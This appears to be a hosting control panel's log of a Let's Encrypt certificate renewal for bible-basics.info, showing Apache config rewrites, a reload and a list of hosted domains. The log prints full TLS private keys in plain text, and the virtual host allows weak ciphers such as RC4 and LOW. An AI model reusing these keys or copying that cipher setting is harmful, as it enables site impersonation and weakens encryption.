h94bem3aq2Q2LSI0D3YpO7dhmlmIPnPdvrxkzX6sbwtwVxdJz16SaSM70KhftAkm
UU9VF+CCce3RhR26i7jhbDgTolwdkkEWoh2mTvOZ9g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPlrOC9E4oNCY7
OU/Sqy3ddMjylC760X0o0mjI0NI+K3UW+oUnqCKv+bKECPW5j4IecYkceTaPyUC1
COGyDYF7Hg7Nzs5yHtiPpsqfQoYyR+kYl6JuTXN66bg5iTWNlSbkBlReBlYpy/hD
jnmM1E22B//bgZ04vOlqIovY50eMksQLlVJWb/nlhYz7W4bb1FdXpnsCEl+JM2Wj
b4oX2c3wmvCvkI7F0TIKWiYB/pt42vkb01SobxRCZHgE/7i9cXi/PEOwiSl5U7y0
+U1MUfXnwHhKTNV7qpnK5IPyqYoywoEBgPEUupWfanzTfgXjufz3S24rZroY9ukT
fLO6IXCvAgMBAAECggEAGRIfTgKJaeuabm6miE/qMyPGnR1uaxZf4k0/IHmv2phP
BN5utHJm9g/XEoEuhCGj2l9l6s1s3IK20OZos6NT7vWbXhnK7xdwmjDPqdpT8MCk
kzbFBENQXhjaCgDbOeU4lDN7fvuO7m9W5XnQjkSZuhFPQkhuH4sZOZtAfoq4Jm7f
gTTix+zwnqFd6CVNbI6dVpXqVExFrjjVzip+JfoabJ8L4oxeDViWFEKxB6sbNep5
+XSTl3HujT1/0+WPFi1o+JndNhLJucbLoP4olyYTFXnLz63zZmrDYsLpSdZ1j0sZ
VXMTFUQBKkiGjC1smUFbcFmV/rt4IJD12XHvXNNzkQKBgQDzML5QI4CEPXAw0JUT
7d/qZjHmwjenZxIPxrZLf6E4Gw+l4v6uU7TemLsWyoVSRKpdN1HSMOFE+vQKTPju
W/lmY/Ht7tAr/kcuTP8svCmxEJI97ydHuMoJ2HLWVhT+JSyuoUn59LITA2rUCF5o
zVeLgAdQMf6M2meCaIZb4314iQKBgQDaheSPnIvjYVDjJyVb8A5Nyi6XFrnkIxV2
4pFzn31/I0h0LgNZ58neRIqsbXNvh8anmmvONxN8cP/GARQNTuuIoxD2otWe7AIx
dRVG6am7p0BMfEY34H+qxnq7l5uFPI8ryc2zrXgdPCyno4Dg004kLI0rlKQ2Cmtb
VZ1GYW7hdwKBgQDr+gthpeFp8Ffx9iQCT5ssTvfzC9iHJvuetVpkjjb5Q0D+3fH1
ZKIoMRmxttiBiMGrbCeIBwhAMCcn66LNYA/0a9zw3P/BAJ8/bVVaqkbmWscdM/fw
n33k6dQc6TC7n4To+vbWhbtZucIqduhtV3uwkI4IIkr3kGJKZ3Sgq3EvyQKBgEpQ
3ro4cxqRLgESfxIVQcgSymV3xSBhDhuwUecQho2GYk2gmGMrAOwmQ0MAthFoC5dU
XPV0pZvckh+0ni0oedGuI0a9egjiGpzXRLUpIiA/cQ6R9Q9ruf9KINNLbAiT39z0
dJB2njLTFByu7lWHhzumKxx3IKGASaJ2K1aULDFhAoGBAKdKqlRy4qK2jRSArsPE
BNnDWZv209ydxi9A+kyejl423AagR7yIJrGoYqVe/A8xXnT40cAA/y1N8mJgN6N6
mrMI0FAKXnQ9VzAgka1I8ry0KMnJbQt9J7Jz/nbTo5Dmrxh5llbrUdisAxyQOGg6
eQeZcacO7NVObqkYPnLw+jcK
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-14 06:00:31: Establishing a connection
2025-12-14 06:00:32: Establishing a connection
2025-12-14 06:00:32:
PUT: /tmp/pkp348630
#!/bin/bash
if [ -d "/var/www/bible-basics_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-14 06:00:32:
chmod 755 /tmp/pkp348630; /tmp/pkp348630; rm /tmp/pkp348630
2025-12-14 06:00:32:
1
2025-12-14 06:00:33: Establishing a connection
2025-12-14 06:00:33:
PUT: /tmp/pkp273208
#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
cat > lBNfHTEeaq1OZB4nObNcPfT7-ypvokQ8YpuqpxM7xdA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
lBNfHTEeaq1OZB4nObNcPfT7-ypvokQ8YpuqpxM7xdA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 lBNfHTEeaq1OZB4nObNcPfT7-ypvokQ8YpuqpxM7xdA
cat > 4gl9hNFkixzwMNesTD672G7U6QN1nxmkFsI5h-jScvY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4gl9hNFkixzwMNesTD672G7U6QN1nxmkFsI5h-jScvY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4gl9hNFkixzwMNesTD672G7U6QN1nxmkFsI5h-jScvY
2025-12-14 06:00:33:
chmod 755 /tmp/pkp273208; /tmp/pkp273208; rm /tmp/pkp273208
2025-12-14 06:00:33:
2025-12-14 06:00:48: Establishing a connection
2025-12-14 06:00:48:
PUT: /tmp/pkp256835
#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
rm lBNfHTEeaq1OZB4nObNcPfT7-ypvokQ8YpuqpxM7xdA
rm 4gl9hNFkixzwMNesTD672G7U6QN1nxmkFsI5h-jScvY
2025-12-14 06:00:48:
chmod 755 /tmp/pkp256835; /tmp/pkp256835; rm /tmp/pkp256835
2025-12-14 06:00:48:
2025-12-14 06:00:48: Establishing a connection
2025-12-14 06:00:48:
PUT: /tmp/pkp970445
#!/bin/bash
temp_file=$(mktemp)
TARGET=f032ab15fc1dc16ec38ee94209bcf74e.crt
cat > $temp_file <<'endmsg'
20:4d:20:d9:c2:0f:b5:e5:71:42:e3:78:8a:4d:ad:2b
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBVcXg46sTQLpUShfbTcA1Pz9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjE0MDUwMjE3WhcNMjYwMzE0MDUwMjE2WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAK/AHik9Zpkz3w0D1aUgOXKzd9C7JdrkajN5VcIcX2b+qmkl2Ux0/Tk++Bcg
rc1py1Y3R38QspbA9a6MsRiVfbzY9OXgKZsyCn02i78Di9+eiz2haMs82KftPjOn
BuxlFehGvFd8RTaJY7z4mmg9h9jDPhkc/+EAgm+TbBokYJrjg5fw1bKiFz9TGew2
yxXoKafDP/DatN9OGjFUcByv4o1biR+Fb72xkRpIA0hf4YJUiNLgqeydpxnFyYDd
ZkOaFTxdXbEpONIlzBqqYXuQVWUGlQKYZ5plMZacLwBoQZD/mxJgfX4/eCTBmiig
nN+cv9YShpkL/u+Fdx9o8aVjDf8CAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUG3T2MHiM63f0TuuZ6pB3zMBfVoAwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFiaWJsZS1iYXNpY3MuaW5m
b4IVd3d3LmJpYmxlLWJhc2ljcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTI2LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2ABaDLavwqSUPD/A6pUX/yL/II9CHS/YE
KSf45x8zE/X6AAABmxtygN0AAAQDAEcwRQIgcv8kb4ZZx4EQbtT60Q5SZ9i943vs
5y5jUVHbolp6fFICIQDt0K/niaZDC3jCJ0uPggRQIs4IEzVGCGWkF9LYHZqPzgB2
AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmxtygQMAAAQDAEcw
RQIhAL5kI603Jzmng7sbxI72lw5VWfTPiiZ5Rawzru8Yd/7oAiBtyiqYyVMcxKJ4
+O0IXMNOI9cq0g8kUCfWdcFk9qSeWTANBgkqhkiG9w0BAQsFAAOCAQEAXrzWYfSb
XO7axSqJHj99ZOpoQ5NxswYyyxa8PdSyB4nkdNFyg/2mszET3BrpmVMaiEAQO5qB
46DvRr14nqSoRasIxgs/LVgeDecVRMehJxU0c1GUxtaFvrloS8JCK8GmsA4hE4yZ
N6dWwraKdN+OEofjUdPhHadUGLEEB+b6NS1Z3A6s0gvW7PkLwQuv0zwecvMRSE5s
L05tH8fcjy8OdZU5c5TRAL1yZIbAZIJ8f4mlQdKIyS2P9NpNa/cdojrsBA37FxDl
/yH7YmGA3kg58AXXTZdvSmmKGofUVzOgHaRnrVRyM6UZ9SdDPlbBJpR1dvxOIm22
H2Sjv6cv1tH2jA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvwB4pPWaZM98N
A9WlIDlys3fQuyXa5GozeVXCHF9m/qppJdlMdP05PvgXIK3NactWN0d/ELKWwPWu
jLEYlX282PTl4CmbMgp9Nou/A4vfnos9oWjLPNin7T4zpwbsZRXoRrxXfEU2iWO8
+JpoPYfYwz4ZHP/hAIJvk2waJGCa44OX8NWyohc/UxnsNssV6Cmnwz/w2rTfThox
VHAcr+KNW4kfhW+9sZEaSANIX+GCVIjS4KnsnacZxcmA3WZDmhU8XV2xKTjSJcwa
qmF7kFVlBpUCmGeaZTGWnC8AaEGQ/5sSYH1+P3gkwZoooJzfnL/WEoaZC/7vhXcf
aPGlYw3/AgMBAAECggEAc2QLKX6D33C8MRpkan9G2LVWpHhLuXUg+Vzf3ousY74u
+sx76IQjQjPCxcSR+H1OoPO4gIfhCbP1Wr5LBF4aaSR1XnyYNKpdUqq+hBJ7Ar5g
o31XhaEUiuTsYxN2Kz2PbasLu9D+zHjWQFtlXa2QhNRj8C8nHX6tJT7AykU6HFbP
vLsncm5YzoH+L5bYL24gwJz7SpthYEo+kU9jKDohTAVHaweV0N5QpVbFHQC8XYHu
PTFaibcg5poWw327LX/cEUOwrK7Y9bfxW0s4NyD7Hea+NjvQR1bnp9GMLpRFoymp
hRwhfqy12g8lAacCIBLoXiWSR9BELxJqvIwy8lWY8QKBgQDf8ZI8KFeskZrKt6Cb
LRmenXv8L0gxzrotd8vShdOMBoJJCXoSHDShrwpVtJH1NNNxBzWj0luG16VGUljA
VvbvmkMy4CAQZ4TZ88pIfJVaQIJAmuZWiVQgLSLxaB8XIRVijeHVN55c6WDqAaEr
Pghk11nM7swX6CC6UK81inuCiQKBgQDI6IEqSBF8GXpiFGNO/mhRcd9KzYJIKrpg
hB6ZXhI8tINtMXWl6gwL/AHORuuSs8MZEvBzKv8EqQj/eADNxEIKz+62b8bONQrX
Fhamu/hkPCGXbpdC3/DVcuoJZjxxyueIkzdBCq/n0WTMfatxzZ+Px0deCnMLToik
zTVzgaSKRwKBgF0Vg4xf1HmVmDrU8vwtVe3ZVhTv7llNrZOCrQUXvWQBvJvxRX1L
nhDquif/w3+h8pWTwpcStBqrfjZpuhxQyZm0jGQURx+qd81EiXtx1X7LO5jxCfdE
Y+Rv/otLlUi+5q2tfgZrdPb3xuHdxYk84q5P2TLWu5zgTuJC8WEW69nJAoGAYkUX
qM7HfqQXsJG4YZMfA3dnePc8moAL2dnF/c59rSO+hVKD8Tuh2NrTJ0qZP5CeBU22
Px7wzh7AP/U6r2snwpIieSoDXCmlu78aJUQcIysmYyO86QEQk9c5ko9nUWGmDq+z
fyTzFbjeTQfLLEcfnPwkdGM4Ene/bpzRYEYxbVECgYEApjd48AfvaWoybJzWNz+A
WH/4+BsHbL424BtzH6Oy2bTn7dDfj4MBWv+bxtWjAzXMZYW53qgNtTBflGkq+Ehv
pOlQLU6qRi+cL5dYvzInpvlvGcwPGRB8xkEL/5trV2vsjayvxO/DeujsklEhPhhv
q0T43Xu1lHn+iMPQjCeA/tk=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-14 06:00:48:
chmod 755 /tmp/pkp970445; /tmp/pkp970445; rm /tmp/pkp970445
2025-12-14 06:00:48:
dir=/etc/ssl/certs
2025-12-14 06:00:48:
PUT: /tmp/pkp606835
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/bible-basics_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-14 06:00:48:
chmod 755 /tmp/pkp606835; /tmp/pkp606835; rm /tmp/pkp606835
2025-12-14 06:00:48:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf 45
<VirtualHost *:80>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_error.log
SetEnv pkp_uid 48
SetEnv pkp_owner bible-basics
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_secure_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-14 06:00:48:
PUT: /tmp/pkp251007
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bible-basics_www_info.conf
TARGET=/etc/apache2/sites-enabled/bible-basics_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_error.log
SetEnv pkp_uid 48
SetEnv pkp_owner bible-basics
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_secure_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/bible-basics_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/bible-basics_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/bible-basics_www_info.conf= 1'
fi
2025-12-14 06:00:48:
chmod 755 /tmp/pkp251007; /tmp/pkp251007; rm /tmp/pkp251007
2025-12-14 06:00:48:
2025-12-14 06:00:48:
PUT: /tmp/pkp876285
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-14 06:00:48:
chmod 755 /tmp/pkp876285; /tmp/pkp876285; rm /tmp/pkp876285
2025-12-14 06:00:48:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-14 06:00:48: Establishing a connection
2025-12-14 06:00:48:
PUT: /tmp/pkp183125
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-14 06:00:49:
chmod 755 /tmp/pkp183125; /tmp/pkp183125; rm /tmp/pkp183125
2025-12-14 06:00:49:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
